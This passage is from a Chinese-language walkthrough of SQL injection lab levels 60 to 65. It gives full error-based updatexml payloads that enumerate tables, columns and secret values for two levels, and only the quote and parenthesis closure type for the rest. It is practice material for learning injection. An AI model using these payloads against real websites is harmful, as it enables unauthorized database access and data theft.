闭合方式为双引号+括号
数据表:
?id=-1\") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'challenges\'),0x7e),1)-- -
字段:
?id=-1\") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'0exvg2mrs7\'),0x7e),1)-- -
数据:
?id=-1\") and updatexml(1,concat(0x7e,(select group_concat(secret_1U5S) from 0exvg2mrs7),0x7e),1)-- -
第61关
闭合方式是单引号加2个括号
表
?id=-1\')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\'challenges\'),0x7e),1)-- -
字段
?id=-1\')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'v9a6cdxcbo\'),0x7e),1)-- -
数据
?id=-1\')) and updatexml(1,concat(0x7e,(select group_concat(secret_ABY2) from v9a6cdxcbo),0x7e),1)-- -
第62关
从这关开始到65关都没有报错显示了,所以我们只能用布尔、报错、时间了,但是我累了,我限制只告诉你们闭合方式吧,这些注入方式我放在前言那里了,你们去参考参考自己写吧
闭合方式:单引号+括号
第63关
闭合方式:单引号
第64关
闭合方式:整数型
第65关
闭合方式:整数型: